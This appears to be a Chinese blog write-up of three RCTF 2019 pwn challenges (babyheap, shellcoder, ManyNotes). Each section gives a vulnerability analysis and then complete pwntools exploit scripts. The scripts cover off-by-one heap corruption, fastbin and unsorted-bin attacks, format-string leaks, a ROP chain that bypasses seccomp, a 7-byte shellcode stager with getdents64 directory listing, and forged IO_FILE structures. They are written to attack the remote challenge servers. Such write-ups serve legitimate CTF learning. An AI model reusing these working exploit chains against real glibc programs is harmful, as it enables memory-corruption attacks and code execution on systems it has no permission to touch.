RCTF 2019

作者: Kirin_say | 来源:发表于2019-05-20 18:56 被阅读238次

    大概是老了,PWN不动了,打了一天时间,一共看了三道题,第二天学校有活动,晚上抽时间写好了ManyNotes的EXP,不过远程打不下,并不是像前两题因为系统调用crash,而是中间我爆破了1字节地址,本地ubuntu 18.04(libc-2.27)可以利用成功,但是远程无法爆破出,利用思路上自认没有问题,猜测应该是新线程堆地址偏移在libc-2.26和libc-2.27环境下低字节有区别或者像babyheap因为中间远程传输过长数据会出玄学,可惜没时间重新调了,姑且算是搞定了

    0x01 babyheap

    Analyze

    首先在init中可以看到:

      fd = open("/dev/urandom", 0);
      if ( fd < 0 )
      {
        puts("open failed!");
        exit(-1);
      }
      read(fd, &ptrs, 8uLL);
      close(fd);
      ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
      mallopt(1, 0);
      if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
      {
        puts("mmap error!");
        exit(-1);
      }
    

    程序会随机map一段地址用于后期存放note结构体:

    note_addr
    note_len
    

    而后使用mallopt关闭了fastbin的分配
    可以看到漏洞在:

    printf("Content: ", v3);
     v1 = read_n(*((void **)ptrs + 2 * v0), *((_DWORD *)ptrs + 4 * v0 + 2));
     *(_BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = 0;
    

    存在off by one,当v1恰好读到边界时,会溢出一字节"\x00"
    首先利用"\x00"溢出来修改pre in use位来使伪造好的chunk因为unsorted bin的unlink合并,进而构造堆重叠
    而后即可free掉重叠堆块进入unsorted bin来leak libc
    下面我选择直接unsorted bin attack,将chunk地址写入global_max_fast,因为地址非负,重新开启fastbin的分配,此时重叠堆再次释放即可进入fastbin,进而fd因为重叠可控,修改malloc_hook为one_target后发现crash
    想起init中的:

      if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
      {
        puts("Could not start seccomp:");
        exit(-1);
      }
      if ( prctl(22, 2LL, &filterprog) == -1 )
      {
        puts("Could not start seccomp:");
        exit(-1);
      }
    

    开启了seccomp
    使用seccomp-tools查看:

    ~/rctf$ seccomp-tools  dump ./babyheap 
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
     0002: 0x06 0x00 0x00 0x00000000  return KILL
     0003: 0x20 0x00 0x00 0x00000000  A = sys_number
     0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
     0005: 0x06 0x00 0x00 0x00000000  return KILL
     0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
     0007: 0x06 0x00 0x00 0x00000000  return KILL
     0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
     0009: 0x06 0x00 0x00 0x00000000  return KILL
     0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
     0011: 0x06 0x00 0x00 0x00000000  return KILL
     0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
     0013: 0x06 0x00 0x00 0x00000000  return KILL
     0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
     0015: 0x06 0x00 0x00 0x00000000  return KILL
     0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
     0017: 0x06 0x00 0x00 0x00000000  return KILL
     0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
     0019: 0x06 0x00 0x00 0x00000000  return KILL
     0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
    

    关闭了execv,只能想办法open,read,write
    这里我选择修改free_hook为printf来人为构造格式化字符串漏洞
    这里有个小问题,本题环境下free_hook周围没有0x7F这种合法size
    因此选择从最近的存在合法size位置不断fastbin attack并写入合法地址,直到分配进free_hook
    而后利用格式化字符串漏洞leak stack&&程序加载地址
    接着利用格式化在栈中写入一个合法size(因为栈中有bp指针,可以直接用%n写入高地址)
    将一个chunk分配进栈,而后写入ptrs地址
    这样就可以再次利用格式化字符串泄露最初mmap的地址
    而后再次利用fastbin attack将堆分配进mmap处即可控制整个结构实现任意地址读写
    直接选择在edit时改写返回地址为rop链
    调用open("./flag",“r”)->read(fd,note_addr,len)->show(note)即可最终获得flag

    EXP

    from pwn import *
    
    #context.log_level="debug"
    def add(size):
        p.sendlineafter("Choice: \n","1")
        p.sendlineafter("Size: ",str(size))
    def edit(index,note):
        p.sendlineafter("Choice: \n","2")
        p.sendlineafter("Index: ",str(index))
        p.sendafter("Content: ",note)
    def delete(index):
        p.sendlineafter("Choice: \n","3")
        p.sendlineafter("Index: ",str(index))
    def show(index):
        p.sendlineafter("Choice: \n","4")
        p.sendlineafter("Index: ",str(index))
        return p.recvuntil("\n").strip()
    #p=process("./babyheap")
    p=remote("123.206.174.203",20001)
    add(0x18)     
    add(0x508)    
    add(0x18)     
    edit(1,'b'*0x4f0 + p64(0x500))  
    add(0x18)     
    add(0x508)    
    add(0x18)     
    edit(4,'b'*0x4f0 + p64(0x500))  
    add(0x18)     
    delete(1)
    edit(0,'b'*0x18)
    add(0x18)     
    add(0x4d8)    
    delete(1)
    delete(2)  
    add(0x18)     
    libc_addr=u64(show(7).ljust(8,"\x00"))+0x7f0e884c5000-0x7f0e88889b78
    max_fast=libc_addr+0x7f0e8888b7f8-0x7f0e884c5000
    print hex(libc_addr)
    print hex(max_fast)
    delete(1)
    add(0x38)
    edit(7,p64(0)*3+p64(0x4f1)+"aaaaaaaa"+p64(max_fast-16))
    add(0x4e8)
    delete(0)
    edit(1,p64(0)*3+p64(0x71))
    edit(2,p64(0)*9+p64(0x21)+p64(0)*3+p64(0x21))
    delete(7)
    edit(1,p64(0)*3+p64(0x71)+p64(libc_addr+0x7f15218e7715-0x7f1521522000))
    add(0x68)
    add(0x68)
    edit(7,"\x00"*3+p64(0)*8+p64(0x551))
    edit(1,p64(0)*3+p64(0x551))
    edit(4,p64(0)*3+p64(0x30))
    delete(0)
    edit(1,p64(0)*3+p64(0x551)+p64(libc_addr+0x7f592d7ab760-0x7f592d3e6000))
    add(0x548)
    add(0x548)
    edit(8,p64(0)*(0x53*2)+p64(0)+p64(0x551))
    edit(1,p64(0)*3+p64(0x551))
    edit(4,p64(0)*3+p64(0x20))
    delete(0)
    edit(1,p64(0)*3+p64(0x551)+p64(libc_addr-0x7fd6e0f9b000+0x7fd6e1360ca0))
    add(0x548)
    add(0x548)
    edit(9,p64(0)*(0x53*2)+p64(0)+p64(0x551))
    edit(1,p64(0)*3+p64(0x551))
    edit(4,p64(0)*3+p64(0x20))
    delete(0)
    edit(1,p64(0)*3+p64(0x551)+p64(libc_addr- 0x7f80b6025000+0x7f80b63eb1e0))
    add(0x548)
    add(0x548)
    edit(10,p64(0)*(0x53*2)+p64(0)+p64(0x601))
    edit(1,p64(0)*3+p64(0x601))
    edit(4,p64(0)*25+p64(0x20))
    delete(0)
    edit(1,p64(0)*3+p64(0x601)+p64(libc_addr+0x7fd775994720-0x7fd7755ce000))
    add(0x5f8)
    add(0x5f8)
    #gdb.attach(p) 
    edit(11,"\x00"*0x78+p64(libc_addr+0x55800)+"\x00"*72+p64(0x1000))
    #gdb.attach(p)
    edit(8,"%7$llx %8$llx %9$llx %15$llx")
    delete(8)
    s=p.recvuntil("D")[:-1]
    addrs=s.split(" ")
    exec_addr=int(addrs[3],16)-0x55b2ee49e2c2+0x55b2ee49d000
    stack_addr=int(addrs[1],16)
    print hex(exec_addr)
    print hex(stack_addr)
    edit(6,"%65c%48$n%48$llx")
    delete(6)
    edit(11,"\x00"*0x78+p64(0))
    edit(1,p64(0)*3+p64(0x41))
    edit(2,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21))
    #gdb.attach(p)
    delete(0)
    edit(1,p64(0)*3+p64(0x41)+p64(stack_addr+0x7ffd8412fc00-0x7ffd8412faf0))
    add(0x31)
    add(0x31)
    edit(6,p64(exec_addr+0x202112))
    edit(11,"\x00"*0x78+p64(libc_addr+0x55800))
    edit(3,"%50$s")
    delete(3)
    k=p.recvuntil("D")[:-1]
    map_addr=u16(k)*0x10000
    print hex(map_addr)
    edit(11,"\x00"*0x78+p64(0))
    edit(1,p64(0)*3+p64(0x31))
    edit(2,p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
    delete(0)
    edit(1,p64(0)*3+p64(0x31)+p64(map_addr+0x60))
    add(0x28)
    add(0x28)
    #gdb.attach(p)
    open_addr=libc_addr+0xf7030
    read_addr=libc_addr+0xf7250
    write_addr=libc_addr+0xf72b0
    edit(3,p64(stack_addr-0x7ffdcce76b80+0x7ffdcce76ba8)+p64(0x100)+"./flag\x00")
    #gdb.attach(p)
    magic_code=p64(exec_addr+0x1433)+p64(map_addr+0x80)+p64(exec_addr+0x1431)+p64(0)+p64(0)+p64(open_addr)
    magic_code+=p64(exec_addr+0x1433)+p64(3)+p64(exec_addr+0x1431)+p64(map_addr+0x70)+p64(0)+p64(libc_addr+0x101ffc)+p64(40)+p64(0)+p64(read_addr)
    magic_code+=p64(exec_addr+0x1329)#p64(exec_addr+0x1433)+p64(0)+p64(exec_addr+0x1431)+p64(map_addr)+p64(0)+p64(libc_addr+0x101ffc)+p64(20)+p64(0)+p64(write_addr)
    edit(7,magic_code)
    p.sendlineafter("Index: ","3")
    #gdb.attach(p)
    p.interactive()
    

    0x02 shellcoder

    Analyze

    打开程序即可看到,其是使用syscall完成几个基本操作:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      _QWORD *v3; // rax
      __int64 v4; // rbx
    
      alarm();
      write();
      v3 = (_QWORD *)mmap();
      v4 = (__int64)v3;
      *v3 = 0xF4F4F4F4F4F4F4F4LL;
      v3[1] = 0xF4F4F4F4F4F4F4F4LL;
      v3[2] = 0xF4F4F4F4F4F4F4F4LL;
      v3[3] = 0xF4F4F4F4F4F4F4F4LL;
      read();                        // 读取7位
      jmp_rdi(v4);
      return 0;
    }
    

    可以看到程序即:
    mmap一个地址,而后读入7字节shellcode,最后转去shellcode执行
    看到shellcode前jmp时候寄存器状态:

     RAX  0x0
     RBX  0x0
     RCX  0x0
     RDX  0x0
     RDI  0x7ffff7ff3000 
     RSI  0x0
     R8   0x0
     R9   0x0
     R10  0x0
     R11  0x0
     R12  0x0
     R13  0x0
     R14  0x0
     R15  0x0
     RBP  0x0
     RSP  0x7fffffffdb48 ◂— 0xabadc0defee1dead
     RIP  0x5555555544c7 ◂— jmp    rdi
    

    rdi为mmap地址
    所以可以直接利用现有状态完成read(0,mmap_addr,size)操作,考虑到7字节限制,最后选择:

    xchg rdi,rsi
    mov dl,0xff
    syscall
    

    这样即可继续写入shellcode,不过发现execv失败,猜测远程服务器限制了shell,不然题目也不会故意给出文件目录结构:

    ...
    ├── flag
    │   ├── unknown
    │   │   └── ...
    │   │       └── flag
    │   └── unknown
    └── shellcoder
    

    可以发现open read write还在,所以重点是找到flag位置
    重新看了64位下的系统调用表,发现了比较好的函数:

    cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
    ......
    #define __NR_getdents 78
    #define __NR_getdents64 217
    

    直接利用getdents来读取目录结构即可,最后爆破发现每层4个,一共6层文件夹:

    shellcode:
    fd=open(dir,"O_RDONLY|O_DIRECTORY")
    getdents64(fd,rsp,2048) //将目录结构读入到栈
    write(1,rsp,0x200) //将栈上目录结构输出
    脚本:
    from pwn import *
    
    context.arch="amd64"
    context.log_level="debug"
    key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
    #p=process("./shellcoder")
    def get_ans(f,s,ans):
       if s[0]=="\x03":
           for i in range(0x140):
              if s[i] in key and s[i+1] in key and s[i+2] in key and s[i+3] in key:
                 ans.append(f+"/"+s[i:i+4])
                 i+=4
           return ans
       return False  
    #gdb.attach(p)
    k1=[]#记录已获得文件夹
    ans=[]
    for i in range(1):
       try:
          p=remote("139.180.215.222",20002)
          s="xchg rdi,rsi\n\
           mov dl,0xff\n\
           syscall"
          p.recvuntil("hello shellcoder:")
          p.send(asm(s))
          m="/flag/%s"  %k1[i]
          s2=shellcraft.pushstr(m)+"\nmov rsi,0x10000\n\
            mov rdi,rsp\n\
            mov rax,2\n\
            syscall\n\
            mov rbx,rax\n\
            mov rdi,rax\n\
            mov rsi,rsp\n\
            mov rdx,2048\n\
            mov rax,0xd9\n\
            syscall\n\
            mov rdi,1\n\
            mov rsi,rsp\n\
            mov rdx,0x200\n\
            mov [rsp+8],rax\n\
            mov rax,1\n\
            mov [rsp],rbx\n\
            syscall"
          p.send(asm(s)+asm(s2))
          try:
            get_ans(k1[i],p.recv(0x200),ans)
            print i
            p.close()
          except:
            i-=1
       except:
         i-=1
    print ans,len(ans)
    

    最后找到flag在"./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag"

    EXP

    from pwn import *
    
    context.arch="amd64"
    #context.log_level="debug"
    p=remote("139.180.215.222",20002)
    s="xchg rdi,rsi\n\
       mov dl,0xff\n\
       syscall"
    p.recvuntil("hello shellcoder:")
    p.send(asm(s))
    p.send(asm(s)+asm(shellcraft.cat("./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag")))
    p.interactive()
    

    0x03 ManyNotes

    Analyze

    首先程序会读入一个name并输出,不过读入过程中没有"\x00"截断,所以存在leak

    unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      pthread_t newthread; // [rsp+0h] [rbp-10h]
      unsigned __int64 v5; // [rsp+8h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      alarm(0x258u);
      puts("Please input your name: ");
      out_name();
      if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )
        exit(1);
      pthread_join(newthread, 0LL);
      return __readfsqword(0x28u) ^ v5;
    }
    

    接着程序利用pthread_create新启动一个进程来进入主要部分:

    void __fastcall __noreturn start_routine(void *a1)
    {
      signed int v1; // [rsp+18h] [rbp-28h]
      int i; // [rsp+1Ch] [rbp-24h]
      int v3; // [rsp+20h] [rbp-20h]
      int v4; // [rsp+24h] [rbp-1Ch]
      int v5; // [rsp+28h] [rbp-18h]
      const void *buf; // [rsp+30h] [rbp-10h]
    
      v1 = 0;
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          v3 = get_num();
          if ( v3 )
            break;
          printf("Size: ");
          v4 = get_num();
          if ( v4 >= 0 && v4 <= 0x2000 )
          {
            buf = malloc(v4);
            if ( ++v1 > 0x10000 )
              exit(2);
            printf("Padding: ");
            v5 = get_num();
            if ( v5 >= 0 && v5 <= 0x400 )
            {
              v1 += v5;
              if ( v1 > 0x10000 )
                exit(2);
              for ( i = 0; i < v5; ++i )
                malloc(v4);
              printf("Input? (0/1): ");
              if ( get_num() )
              {
                printf("Content: ");
                fake_read((__int64)buf, v4);
                write(1, buf, v4);
              }
            }
            else
            {
              puts("Invalid Padding!");
            }
          }
          else
          {
            puts("Invalid Size!");
          }
        }
        if ( v3 == 1 )
        {
          puts("Bye!");
          exit(2);
        }
        puts("Invalid Command!");
      }
    }
    

    可以看到只能申请堆,无法释放,并且可以利用padding申请很多堆
    而且在read过程中可以看到:

    unsigned __int64 __fastcall fake_read(__int64 a1, size_t a2)
    {
      int v3; // [rsp+1Ch] [rbp-14h]
      size_t i; // [rsp+20h] [rbp-10h]
      unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      for ( i = 0LL; i < a2; i += v3 )
      {
        v3 = read(0, (void *)(a1 + i), a2);
        if ( v3 <= 0 )
          exit(2);
      }
      return __readfsqword(0x28u) ^ v5;
    }
    

    明显的逻辑漏洞,存在溢出
    立即想到house of orange,不过直接改top size并申请较大堆块发现并没有释放进unsorted bin,而是直接扩充了top chunk并分割出来,追踪sysmalloc的程序流发现了:

      if (av != &main_arena)
        {
          heap_info *old_heap, *heap;
          size_t old_heap_size;
    
          /* First try to extend the current heap. */
          old_heap = heap_for_ptr (old_top);
          old_heap_size = old_heap->size;
          if ((long) (MINSIZE + nb - old_size) > 0
              && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
            {
              av->system_mem += old_heap->size - old_heap_size;
              arena_mem += old_heap->size - old_heap_size;
              set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                        | PREV_INUSE);
            }
          else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
            {
              /* Use a newly allocated heap.  */
              heap->ar_ptr = av;
              heap->prev = old_heap;
              av->system_mem += heap->size;
              arena_mem += heap->size;
              /* Set up the new top.  */
              top (av) = chunk_at_offset (heap, sizeof (*heap));
              set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
    
              /* Setup fencepost and free the old top chunk with a multiple of
                 MALLOC_ALIGNMENT in size. */
              /* The fencepost takes at least MINSIZE bytes, because it might
                 become the top chunk again later.  Note that a footer is set
                 up, too, although the chunk is marked in use. */
              old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
              set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
              if (old_size >= MINSIZE)
                {
                  set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
                  set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
                  set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
                  _int_free (av, old_top, 1);
                }
              else
                {
                  set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
                  set_foot (old_top, (old_size + 2 * SIZE_SZ));
                }
            }
          else if (!tried_mmap)
            /* We can at least try to use to mmap memory.  */
            goto try_mmap;
        }
    

    新的进程里av并不是main arena,其会有一个新的mmap的地方存放堆信息
    所以机制与正常情况下不一样,我们需要break这个条件:

    if ((long) (MINSIZE + nb - old_size) > 0
              && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
    

    使得最后_int_free (av, old_top, 1)
    很明显MINSIZE + nb - old_size<0不能构造,不然会直接从top chunk分割出去一块chunk
    只能想办法grow_heap失败,很明显,直接分配很多堆,耗尽第一次mmap的空间,让高地址无法直接扩充分割即可
    由此获得了free的机会
    下面我选择构造两次这样的机会,一次free进unsorted bin,一次进入tcache bin,unsortbin下即可利用unsorted bin分割的特点,利用read时的溢出改写剩下的unsorted chunk来进行unsorted bin attack,将地址写到tcache的fd位置(只改unsorted chunk的bk低位即可),奇怪的是此时会写入&av->top chunk,不过av->top chunk位置依然可控,我们在开始的name处leak libc,将fd再次指向一个位置,即可任意地址写,这时候改写IO_FILE或者malloc_hook都可以完成利用,这里主要是unsorted bin attack时改写unsorted chunk的bk低位地址时,有一位其实不可控,所以要爆破1 byte,本地ubuntu 18.04(libc-2.27)很快即可get shell,不过远程过程中这一步始终无法爆出,猜测应该是新线程堆地址偏移在libc-2.26和libc-2.27环境下低字节有区别或者像babyheap因为中间远程传输过长数据会出玄学等原因,理论上libc-2.26和libc-2.27分配机制相同,直接改libc偏移即可,这里不清楚具体原因,EXP是我在libc-2.27下成功本地利用的脚本

    EXP

    from pwn import *
    
    context.log_level="debug"
    _IO_USE_OLD_IO_FILE = False
    _BITS = 64
    
    def _u64(data):
        return struct.unpack("<Q",data)[0]
    
    def _u32(data):
        return struct.unpack("<I",data)[0]
    
    def _u16(data):
        return struct.unpack("<H",data)[0]
    
    def _u8(data):
        return ord(data)
    
    def _usz(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    def _ua(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    def _p64(data):
        return struct.pack("<Q",data)
    
    def _p32(data):
        return struct.pack("<I",data)
    
    def _p16(data):
        return struct.pack("<H",data)
    
    def _p8(data):
        return chr(data)
    
    def _psz(data):
        if _BITS == 32:
            return _p32(data)
        elif _BITS == 64:
            return _p64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    def _pa(data):
        if _BITS == 32:
            return struct.pack("<I", data)
        elif _BITS == 64:
            return struct.pack("<Q", data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    class _IO_FILE_plus:
        def __init__(self):
            self._flags = 0xfbad2800      # High-order word is _IO_MAGIC; rest is flags.
            self._IO_read_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3   # Current read pointer
            self._IO_read_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3# End of get area
            self._IO_read_base = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # Start of putback+get area
            self._IO_write_base =libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of put area
            self._IO_write_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # Current put pointer
            self._IO_write_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3  # End of put area
            self._IO_buf_base = bin_sh_addr   # Start of reserve area
            self._IO_buf_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3+1   # End of reserve area
    
            # The following fields are used to support backing up and undo.
            self._IO_save_base = 0      # Pointer to start of non-current get area
            self._IO_backup_base = 0    # Pointer to first valid character of backup area
            self._IO_save_end = 0       # Pointer to end of non-current get area
    
            self._markers = 0
            self._chain = libc_addr-0x7ffff6e03000+0x7ffff71eea00
    
            self._fileno = 1
            self._flags2 = 0
            self._old_offset = 0xffffffffffffffff    # This used to be _offset but it's too small
    
            # 1+column number of pbase(); 0 is unknown
            self._cur_column = 0
            self._vtable_offset = 0
            self._shortbuf = 0
    
            self._lock = libc_addr-0x7ffff6e03000+0x7ffff71f08c0 
    
            if not _IO_USE_OLD_IO_FILE:
                self._offset = 0xffffffffffffffff
                self._codecvt = 0
                self._wide_data =libc_addr-0x7ffff6e03000+0x7ffff71ee8c0
                self._freeres_list = 0
                self._freeres_buf = 0
                self.__pad5 = 0
                self._mode = 0xffffffff
                self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
            self.vtable = libc_addr+0x3e7fa0-0x28 #_IO_strn_jumps->_IO_str_finish
    
        def tostr(self):
            buf = _p64(self._flags & 0xffffffff) + \
                _pa(self._IO_read_ptr) + \
                _pa(self._IO_read_end) + \
                _pa(self._IO_read_base) + \
                _pa(self._IO_write_base) + \
                _pa(self._IO_write_ptr) + \
                _pa(self._IO_write_end) + \
                _pa(self._IO_buf_base) + \
                _pa(self._IO_buf_end) + \
                _pa(self._IO_save_base) + \
                _pa(self._IO_backup_base) + \
                _pa(self._IO_save_end) + \
                _pa(self._markers) + \
                _pa(self._chain) + \
                _p32(self._fileno) + \
                _p32(self._flags2) + \
                _p64(self._old_offset) + \
                _p16(self._cur_column) + \
                _p8(self._vtable_offset) + \
                _p8(self._shortbuf)
            if _BITS == 64:
                buf += _p32(0)
            buf += _pa(self._lock)
            if not _IO_USE_OLD_IO_FILE:
                buf += \
                _p64(self._offset) + \
                _pa(self._codecvt) + \
                _pa(self._wide_data) + \
                _pa(self._freeres_list) + \
                _pa(self._freeres_buf) + \
                _psz(self.__pad5) + \
                _p32(self._mode) + \
                ''.join(map(lambda x:_p8(x), self._unused2)) +\
                _pa(self.vtable)
            return buf
    
        def __str__(self):
            return self.tostr()
    def add(size,pad,io_put=1):
       p.sendlineafter("Choice: ","0")
       p.sendlineafter("Size: ",str(size))
       p.sendlineafter("Padding: ",str(pad))
       p.sendlineafter("Input? (0/1): ",str(io_put))
       if io_put==1:
          p.recvuntil("Content: ")
          p.send("a"*size)
    for z in range(100):
       try:
          p=process("./many_notes")
          #p=remote("127.0.0.1",9999)
          #p=remote("123.206.174.203",20003)
          #leak libc
          p.recvuntil("name: \n")
          p.send("aaaaaaaa")
          p.recvuntil("a"*8)
          libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec760#-0x3ab720#
          print hex(libc_addr)
          IO_stdout=libc_addr+0x3ec758#+0x3ebc30#+0x03aac10#
          bin_sh_addr=libc_addr+0x1b3e9a
          #get fake unsorted
          for i in range(7):
            add(0x1ff8,0x400,0)
          add(0x1ff8,1015,0)
          add(0x3b0,0,0)
          #gdb.attach(p)
          for i in range(7):
            add(0x1ff8,0x400,0)
          add(0x1ff8,1015,0)
          p.sendlineafter("Choice: ","0")
          p.sendlineafter("Size: ",str(0x1ff8))
          p.sendlineafter("Padding: ",str(0))
          p.sendlineafter("Input? (0/1): ",str(1))
          p.recvuntil("Content: ")
          p.send("a"*0x1ff0+p64(IO_stdout))
          #do magic
          p.sendlineafter("Choice: ","0")
          p.sendlineafter("Size: ",str(0xf8))
          p.sendlineafter("Padding: ",str(0))
          p.sendlineafter("Input? (0/1): ",str(1))
          p.recvuntil("Content: ")
          p.sendline("a"*239)
          p.send(p64(IO_stdout)+p64(0xec1)+"a"*8+"\xd0\xee\xff\xff")
          #gdb.attach(p)
          p.sendlineafter("Choice: ","0")
          p.sendlineafter("Size: ",str(0xeb8))
          p.sendlineafter("Padding: ",str(0))
          p.sendlineafter("Input? (0/1): ",str(0))
          add(0x108,0,0)
          add(0x108,0,0)
          add(0x108,0)
          p.sendlineafter("Choice: ","0")
          p.sendlineafter("Size: ",str(0x108))
          p.sendlineafter("Padding: ",str(0))
          p.sendlineafter("Input? (0/1): ",str(1))
          p.recvuntil("Content: ")
          one_target=libc_addr+0x4f2c5#+0x40e86#
          payload=_IO_FILE_plus().tostr()+p64(0)+p64(libc_addr+0x4f440)+p64(IO_stdout)
          p.send(payload+"\x00"*(0x108-len(payload)))
          #gdb.attach(p)
          p.interactive()
       except:
          print str(z)+"  failed"
    

    相关文章

      网友评论

        本文标题:RCTF 2019

        本文链接:https://www.haomeiwen.com/subject/jqtlzqtx.html